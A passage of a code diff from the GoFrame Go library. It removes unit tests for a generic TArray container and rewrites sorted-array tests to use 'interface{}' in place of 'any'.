-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		a2 := []any{"a", "b", "c"}
-		a3 := []any{"m", "n", "p", "z", "x", "y", "d", "u"}
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := array1.Replace(a2)
-		t.Assert(array2.Len(), 7)
-		t.Assert(array2.Contains("b"), true)
-		t.Assert(array2.Contains(4), true)
-		t.Assert(array2.Contains("v"), false)
-		array3 := array1.Replace(a3)
-		t.Assert(array3.Len(), 7)
-		t.Assert(array3.Contains(4), false)
-		t.Assert(array3.Contains("p"), true)
-		t.Assert(array3.Contains("u"), false)
-	})
-}
-
-func TestTArray_SetArray(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		a2 := []any{"a", "b", "c"}
-
-		array1 := garray.NewTArrayFrom(a1)
-		array1 = array1.SetArray(a2)
-		t.Assert(array1.Len(), 3)
-		t.Assert(array1.Contains("b"), true)
-		t.Assert(array1.Contains("5"), false)
-	})
-}
-
-func TestTArray_Sum(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3}
-		a2 := []any{"a", "b", "c"}
-		a3 := []any{"a", "1", "2"}
-
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := garray.NewTArrayFrom(a2)
-		array3 := garray.NewTArrayFrom(a3)
-
-		t.Assert(array1.Sum(), 6)
-		t.Assert(array2.Sum(), 0)
-		t.Assert(array3.Sum(), 3)
-
-	})
-}
-
-func TestTArray_Clone(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3}
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := array1.Clone()
-
-		t.Assert(array1.Len(), 4)
-		t.Assert(array2.Sum(), 6)
-		t.AssertEQ(array1, array2)
-
-	})
-}
-
-func TestTArray_CountValues(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "b", "c", "d", "e", "d"}
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := array1.CountValues()
-		t.Assert(len(array2), 5)
-		t.Assert(array2["b"], 1)
-		t.Assert(array2["d"], 2)
-	})
-}
-
-func TestTArray_LockFunc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
-		a1 := garray.NewTArrayFrom(s1, true)
-
-		ch1 := make(chan int64, 3)
-		ch2 := make(chan int64, 3)
-		// go1
-		go a1.LockFunc(func(n1 []any) { // 读写锁
-			time.Sleep(2 * time.Second) // 暂停2秒
-			n1[2] = "g"
-			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		})
-
-		// go2
-		go func() {
-			time.Sleep(100 * time.Millisecond) // 故意暂停0.01秒,等go1执行锁后，再开始执行.
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-			a1.Len()
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		}()
-
-		t1 := <-ch1
-		t2 := <-ch1
-		<-ch2 // 等待go1完成
-
-		// 防止ci抖动,以豪秒为单位
-		t.AssertGT(t2-t1, 20) // go1加的读写互斥锁，所go2读的时候被阻塞。
-		t.Assert(a1.Contains("g"), true)
-	})
-}
-
-func TestTArray_RLockFunc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
-		a1 := garray.NewTArrayFrom(s1, true)
-
-		ch1 := make(chan int64, 3)
-		ch2 := make(chan int64, 1)
-		// go1
-		go a1.RLockFunc(func(n1 []any) { // read lock
-			time.Sleep(2 * time.Second) // sleep 2 s
-			n1[2] = "g"
-			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		})
-
-		// go2
-		go func() {
-			time.Sleep(100 * time.Millisecond) // wait go1 do line lock for 0.01s. Then do.
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-			a1.Len()
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		}()
-
-		t1 := <-ch1
-		t2 := <-ch1
-		<-ch2 // wait for go1 done.
-
-		//  Prevent CI jitter, in milliseconds.
-		t.AssertLT(t2-t1, 20) // Go1 acquired a read lock, so when Go2 reads, it is not blocked.
-		t.Assert(a1.Contains("g"), true)
-	})
-}
-
-func TestTArray_Json(t *testing.T) {
-	// pointer
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
-		a1 := garray.NewTArrayFrom(s1)
-		b1, err1 := json.Marshal(a1)
-		b2, err2 := json.Marshal(s1)
-		t.Assert(b1, b2)
-		t.Assert(err1, err2)
-
-		a2 := garray.New()
-		err2 = json.UnmarshalUseNumber(b2, &a2)
-		t.Assert(err2, nil)
-		t.Assert(a2.Slice(), s1)
-
-		var a3 garray.Array
-		err := json.UnmarshalUseNumber(b2, &a3)
-		t.AssertNil(err)
-		t.Assert(a3.Slice(), s1)
-	})
-	// value.
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
-		a1 := *garray.NewTArrayFrom(s1)
-		b1, err1 := json.Marshal(a1)
-		b2, err2 := json.Marshal(s1)
-		t.Assert(b1, b2)
-		t.Assert(err1, err2)
-
-		a2 := garray.New()
-		err2 = json.UnmarshalUseNumber(b2, &a2)
-		t.Assert(err2, nil)
-		t.Assert(a2.Slice(), s1)
-
-		var a3 garray.Array
-		err := json.UnmarshalUseNumber(b2, &a3)
-		t.AssertNil(err)
-		t.Assert(a3.Slice(), s1)
-	})
-	// pointer
-	gtest.C(t, func(t *gtest.T) {
-		type User struct {
-			Name   string
-			Scores *garray.Array
-		}
-		data := g.Map{
-			"Name":   "john",
-			"Scores": []int{99, 100, 98},
-		}
-		b, err := json.Marshal(data)
-		t.AssertNil(err)
-
-		user := new(User)
-		err = json.UnmarshalUseNumber(b, user)
-		t.AssertNil(err)
-		t.Assert(user.Name, data["Name"])
-		t.Assert(user.Scores, data["Scores"])
-	})
-	// value
-	gtest.C(t, func(t *gtest.T) {
-		type User struct {
-			Name   string
-			Scores garray.Array
-		}
-		data := g.Map{
-			"Name":   "john",
-			"Scores": []int{99, 100, 98},
-		}
-		b, err := json.Marshal(data)
-		t.AssertNil(err)
-
-		user := new(User)
-		err = json.UnmarshalUseNumber(b, user)
-		t.AssertNil(err)
-		t.Assert(user.Name, data["Name"])
-		t.Assert(user.Scores, data["Scores"])
-	})
-}
-
-func TestTArray_Iterator(t *testing.T) {
-	slice := g.Slice{"a", "b", "d", "c"}
-	array := garray.NewTArrayFrom(slice)
-	gtest.C(t, func(t *gtest.T) {
-		array.Iterator(func(k int, v any) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array.IteratorAsc(func(k int, v any) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array.IteratorDesc(func(k int, v any) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.Iterator(func(k int, v any) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.IteratorAsc(func(k int, v any) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.IteratorDesc(func(k int, v any) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-}
-
-func TestTArray_RemoveValue(t *testing.T) {
-	slice := g.Slice{"a", "b", "d", "c"}
-	array := garray.NewTArrayFrom(slice)
-	gtest.C(t, func(t *gtest.T) {
-		t.Assert(array.RemoveValue("e"), false)
-		t.Assert(array.RemoveValue("b"), true)
-		t.Assert(array.RemoveValue("a"), true)
-		t.Assert(array.RemoveValue("c"), true)
-		t.Assert(array.RemoveValue("f"), false)
-	})
-}
-
-func TestTArray_RemoveValues(t *testing.T) {
-	slice := g.SliceStr{"a", "b", "d", "c"}
-	array := garray.NewTArrayFrom(slice)
-	gtest.C(t, func(t *gtest.T) {
-		array.RemoveValues("a", "b", "c")
-		t.Assert(array.Slice(), g.Slice{"d"})
-	})
-}
-
-func TestTArray_UnmarshalValue(t *testing.T) {
-	type V struct {
-		Name  string
-		Array *garray.Array
-	}
-	// JSON
-	gtest.C(t, func(t *gtest.T) {
-		var v *V
-		err := gconv.Struct(g.Map{
-			"name":  "john",
-			"array": []byte(`[1,2,3]`),
-		}, &v)
-		t.AssertNil(err)
-		t.Assert(v.Name, "john")
-		t.Assert(v.Array.Slice(), g.Slice{1, 2, 3})
-	})
-	// Map
-	gtest.C(t, func(t *gtest.T) {
-		var v *V
-		err := gconv.Struct(g.Map{
-			"name":  "john",
-			"array": g.Slice{1, 2, 3},
-		}, &v)
-		t.AssertNil(err)
-		t.Assert(v.Name, "john")
-		t.Assert(v.Array.Slice(), g.Slice{1, 2, 3})
-	})
-}
-
-func TestTArray_FilterNil(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}
-		array := garray.NewTArrayFromCopy(values)
-		t.Assert(array.FilterNil().Slice(), values)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFromCopy(g.Slice{nil, 1, 2, 3, 4, nil})
-		t.Assert(array.FilterNil(), g.Slice{1, 2, 3, 4})
-	})
-}
-
-func TestTArray_Filter(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}
-		array := garray.NewTArrayFromCopy(values)
-		t.Assert(array.Filter(func(index int, value any) bool {
-			return empty.IsNil(value)
-		}).Slice(), values)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFromCopy(g.Slice{nil, 1, 2, 3, 4, nil})
-		t.Assert(array.Filter(func(index int, value any) bool {
-			return empty.IsNil(value)
-		}), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFrom(g.Slice{0, 1, 2, 3, 4, "", g.Slice{}})
-
-		t.Assert(array.Filter(func(index int, value any) bool {
-			return empty.IsEmpty(value)
-		}), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFrom(g.Slice{1, 2, 3, 4})
-
-		t.Assert(array.Filter(func(index int, value any) bool {
-			return empty.IsEmpty(value)
-		}), g.Slice{1, 2, 3, 4})
-	})
-}
-
-func TestTArray_FilterEmpty(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFrom(g.Slice{0, 1, 2, 3, 4, "", g.Slice{}})
-		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFrom(g.Slice{1, 2, 3, 4})
-		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
-	})
-}
-
-func TestTArray_Walk(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewTArrayFrom(g.Slice{"1", "2"})
-		t.Assert(array.Walk(func(value any) any {
-			return "key-" + gconv.String(value)
-		}), g.Slice{"key-1", "key-2"})
-	})
-}

container/garray/garray_z_unit_sorted_any_test.go

@@ -24,91 +24,91 @@ import (
 
 func TestSortedArray_NewSortedArrayFrom(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
-		a2 := []any{"h", "j", "i", "k"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "f", "c"}
+		a2 := []interface{}{"h", "j", "i", "k"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
-		func2 := func(v1, v2 any) int {
+		func2 := func(v1, v2 interface{}) int {
 			return -1
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		array2 := garray.NewSortedArrayFrom(a2, func2)
 
 		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"a", "c", "f"})
+		t.Assert(array1, []interface{}{"a", "c", "f"})
 
 		t.Assert(array2.Len(), 4)
-		t.Assert(array2, []any{"k", "i", "j", "h"})
+		t.Assert(array2, []interface{}{"k", "i", "j", "h"})
 	})
 }
 
 func TestNewSortedArrayFromCopy(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
+		a1 := []interface{}{"a", "f", "c"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
-		func2 := func(v1, v2 any) int {
+		func2 := func(v1, v2 interface{}) int {
 			return -1
 		}
 		array1 := garray.NewSortedArrayFromCopy(a1, func1)
 		array2 := garray.NewSortedArrayFromCopy(a1, func2)
 		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"a", "c", "f"})
+		t.Assert(array1, []interface{}{"a", "c", "f"})
 		t.Assert(array1.Len(), 3)
-		t.Assert(array2, []any{"c", "f", "a"})
+		t.Assert(array2, []interface{}{"c", "f", "a"})
 	})
 }
 
 func TestNewSortedArrayRange(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return gconv.Int(v1) - gconv.Int(v2)
 		}
 
 		array1 := garray.NewSortedArrayRange(1, 5, 1, func1)
 		t.Assert(array1.Len(), 5)
-		t.Assert(array1, []any{1, 2, 3, 4, 5})
+		t.Assert(array1, []interface{}{1, 2, 3, 4, 5})
 	})
 }
 
 func TestSortedArray_SetArray(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
-		a2 := []any{"e", "h", "g", "k"}
+		a1 := []interface{}{"a", "f", "c"}
+		a2 := []interface{}{"e", "h", "g", "k"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		array1.SetArray(a2)
 		t.Assert(array1.Len(), 4)
-		t.Assert(array1, []any{"e", "g", "h", "k"})
+		t.Assert(array1, []interface{}{"e", "g", "h", "k"})
 	})
 
 }
 
 func TestSortedArray_Sort(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "f", "c"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		array1.Sort()
 		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"a", "c", "f"})
+		t.Assert(array1, []interface{}{"a", "c", "f"})
 	})
 
 }
 
 func TestSortedArray_Get(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "f", "c"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -129,8 +129,8 @@ func TestSortedArray_Get(t *testing.T) {
 
 func TestSortedArray_At(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "f", "c"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "f", "c"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -141,8 +141,8 @@ func TestSortedArray_At(t *testing.T) {
 
 func TestSortedArray_Remove(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -178,14 +178,14 @@ func TestSortedArray_Remove(t *testing.T) {
 func TestSortedArray_PopLeft(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		array1 := garray.NewSortedArrayFrom(
-			[]any{"a", "d", "c", "b"},
+			[]interface{}{"a", "d", "c", "b"},
 			gutil.ComparatorString,
 		)
 		i1, ok := array1.PopLeft()
 		t.Assert(ok, true)
 		t.Assert(gconv.String(i1), "a")
 		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"b", "c", "d"})
+		t.Assert(array1, []interface{}{"b", "c", "d"})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{1, 2, 3}, gutil.ComparatorInt)
@@ -207,14 +207,14 @@ func TestSortedArray_PopLeft(t *testing.T) {
 func TestSortedArray_PopRight(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		array1 := garray.NewSortedArrayFrom(
-			[]any{"a", "d", "c", "b"},
+			[]interface{}{"a", "d", "c", "b"},
 			gutil.ComparatorString,
 		)
 		i1, ok := array1.PopRight()
 		t.Assert(ok, true)
 		t.Assert(gconv.String(i1), "d")
 		t.Assert(array1.Len(), 3)
-		t.Assert(array1, []any{"a", "b", "c"})
+		t.Assert(array1, []interface{}{"a", "b", "c"})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewSortedArrayFrom(g.Slice{1, 2, 3}, gutil.ComparatorInt)
@@ -237,14 +237,14 @@ func TestSortedArray_PopRight(t *testing.T) {
 
 func TestSortedArray_PopRand(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1, ok := array1.PopRand()
 		t.Assert(ok, true)
-		t.AssertIN(i1, []any{"a", "d", "c", "b"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c", "b"})
 		t.Assert(array1.Len(), 3)
 
 	})
@@ -252,19 +252,19 @@ func TestSortedArray_PopRand(t *testing.T) {
 
 func TestSortedArray_PopRands(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1 := array1.PopRands(2)
 		t.Assert(len(i1), 2)
-		t.AssertIN(i1, []any{"a", "d", "c", "b"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c", "b"})
 		t.Assert(array1.Len(), 2)
 
 		i2 := array1.PopRands(3)
 		t.Assert(len(i1), 2)
-		t.AssertIN(i2, []any{"a", "d", "c", "b"})
+		t.AssertIN(i2, []interface{}{"a", "d", "c", "b"})
 		t.Assert(array1.Len(), 0)
 
 	})
@@ -292,33 +292,33 @@ func TestSortedArray_Empty(t *testing.T) {
 
 func TestSortedArray_PopLefts(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1 := array1.PopLefts(2)
 		t.Assert(len(i1), 2)
-		t.AssertIN(i1, []any{"a", "d", "c", "b", "e", "f"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c", "b", "e", "f"})
 		t.Assert(array1.Len(), 4)
 
 		i2 := array1.PopLefts(5)
 		t.Assert(len(i2), 4)
-		t.AssertIN(i1, []any{"a", "d", "c", "b", "e", "f"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c", "b", "e", "f"})
 		t.Assert(array1.Len(), 0)
 	})
 }
 
 func TestSortedArray_PopRights(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1 := array1.PopRights(2)
 		t.Assert(len(i1), 2)
-		t.Assert(i1, []any{"e", "f"})
+		t.Assert(i1, []interface{}{"e", "f"})
 		t.Assert(array1.Len(), 4)
 
 		i2 := array1.PopRights(10)
@@ -329,36 +329,36 @@ func TestSortedArray_PopRights(t *testing.T) {
 
 func TestSortedArray_Range(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		array2 := garray.NewSortedArrayFrom(a1, func1, true)
 		i1 := array1.Range(2, 5)
-		t.Assert(i1, []any{"c", "d", "e"})
+		t.Assert(i1, []interface{}{"c", "d", "e"})
 		t.Assert(array1.Len(), 6)
 
 		i2 := array1.Range(7, 5)
 		t.Assert(len(i2), 0)
 		i2 = array1.Range(-1, 2)
-		t.Assert(i2, []any{"a", "b"})
+		t.Assert(i2, []interface{}{"a", "b"})
 
 		i2 = array1.Range(4, 10)
 		t.Assert(len(i2), 2)
-		t.Assert(i2, []any{"e", "f"})
+		t.Assert(i2, []interface{}{"e", "f"})
 
-		t.Assert(array2.Range(1, 3), []any{"b", "c"})
+		t.Assert(array2.Range(1, 3), []interface{}{"b", "c"})
 
 	})
 }
 
 func TestSortedArray_Sum(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
-		a2 := []any{"1", "2", "3", "b", "e", "f"}
-		a3 := []any{"4", "5", "6"}
-		func1 := func(v1, v2 any) int {
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
+		a2 := []interface{}{"1", "2", "3", "b", "e", "f"}
+		a3 := []interface{}{"4", "5", "6"}
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -373,9 +373,9 @@ func TestSortedArray_Sum(t *testing.T) {
 
 func TestSortedArray_Clone(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -389,9 +389,9 @@ func TestSortedArray_Clone(t *testing.T) {
 
 func TestSortedArray_Clear(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e", "f"}
+		a1 := []interface{}{"a", "d", "c", "b", "e", "f"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
@@ -404,66 +404,66 @@ func TestSortedArray_Clear(t *testing.T) {
 
 func TestSortedArray_Chunk(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e"}
+		a1 := []interface{}{"a", "d", "c", "b", "e"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1 := array1.Chunk(2)
 		t.Assert(len(i1), 3)
-		t.Assert(i1[0], []any{"a", "b"})
-		t.Assert(i1[2], []any{"e"})
+		t.Assert(i1[0], []interface{}{"a", "b"})
+		t.Assert(i1[2], []interface{}{"e"})
 
 		i1 = array1.Chunk(0)
 		t.Assert(len(i1), 0)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5}
+		a1 := []interface{}{1, 2, 3, 4, 5}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorInt)
 		chunks := array1.Chunk(3)
 		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5})
+		t.Assert(chunks[0], []interface{}{1, 2, 3})
+		t.Assert(chunks[1], []interface{}{4, 5})
 		t.Assert(array1.Chunk(0), nil)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{1, 2, 3, 4, 5, 6}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorInt)
 		chunks := array1.Chunk(2)
 		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []any{1, 2})
-		t.Assert(chunks[1], []any{3, 4})
-		t.Assert(chunks[2], []any{5, 6})
+		t.Assert(chunks[0], []interface{}{1, 2})
+		t.Assert(chunks[1], []interface{}{3, 4})
+		t.Assert(chunks[2], []interface{}{5, 6})
 		t.Assert(array1.Chunk(0), nil)
 	})
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{1, 2, 3, 4, 5, 6}
 		array1 := garray.NewSortedArrayFrom(a1, gutil.ComparatorInt)
 		chunks := array1.Chunk(3)
 		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5, 6})
+		t.Assert(chunks[0], []interface{}{1, 2, 3})
+		t.Assert(chunks[1], []interface{}{4, 5, 6})
 		t.Assert(array1.Chunk(0), nil)
 	})
 }
 
 func TestSortedArray_SubSlice(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c", "b", "e"}
+		a1 := []interface{}{"a", "d", "c", "b", "e"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		array2 := garray.NewSortedArrayFrom(a1, func1, true)
 		i1 := array1.SubSlice(2, 3)
 		t.Assert(len(i1), 3)
-		t.Assert(i1, []any{"c", "d", "e"})
+		t.Assert(i1, []interface{}{"c", "d", "e"})
 
 		i1 = array1.SubSlice(2, 6)
 		t.Assert(len(i1), 3)
-		t.Assert(i1, []any{"c", "d", "e"})
+		t.Assert(i1, []interface{}{"c", "d", "e"})
 
 		i1 = array1.SubSlice(7, 2)
 		t.Assert(len(i1), 0)
@@ -473,25 +473,25 @@ func TestSortedArray_SubSlice(t *testing.T) {
 
 		s1 = array1.SubSlice(-9, 2)
 		t.Assert(s1, nil)
-		t.Assert(array2.SubSlice(1, 3), []any{"b", "c", "d"})
+		t.Assert(array2.SubSlice(1, 3), []interface{}{"b", "c", "d"})
 
 	})
 }
 
 func TestSortedArray_Rand(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c"}
+		a1 := []interface{}{"a", "d", "c"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1, ok := array1.Rand()
 		t.Assert(ok, true)
-		t.AssertIN(i1, []any{"a", "d", "c"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c"})
 		t.Assert(array1.Len(), 3)
 
-		array2 := garray.NewSortedArrayFrom([]any{}, func1)
+		array2 := garray.NewSortedArrayFrom([]interface{}{}, func1)
 		v, ok := array2.Rand()
 		t.Assert(ok, false)
 		t.Assert(v, nil)
@@ -500,21 +500,21 @@ func TestSortedArray_Rand(t *testing.T) {
 
 func TestSortedArray_Rands(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c"}
+		a1 := []interface{}{"a", "d", "c"}
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			return strings.Compare(gconv.String(v1), gconv.String(v2))
 		}
 		array1 := garray.NewSortedArrayFrom(a1, func1)
 		i1 := array1.Rands(2)
-		t.AssertIN(i1, []any{"a", "d", "c"})
+		t.AssertIN(i1, []interface{}{"a", "d", "c"})
 		t.Assert(len(i1), 2)
 		t.Assert(array1.Len(), 3)
 
 		i1 = array1.Rands(4)
 		t.Assert(len(i1), 4)
 
-		array2 := garray.NewSortedArrayFrom([]any{}, func1)
+		array2 := garray.NewSortedArrayFrom([]interface{}{}, func1)
 		v := array2.Rands(1)
 		t.Assert(v, nil)
 	})
@@ -522,8 +522,8 @@ func TestSortedArray_Rands(t *testing.T) {
 
 func TestSortedArray_Join(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "d", "c"}
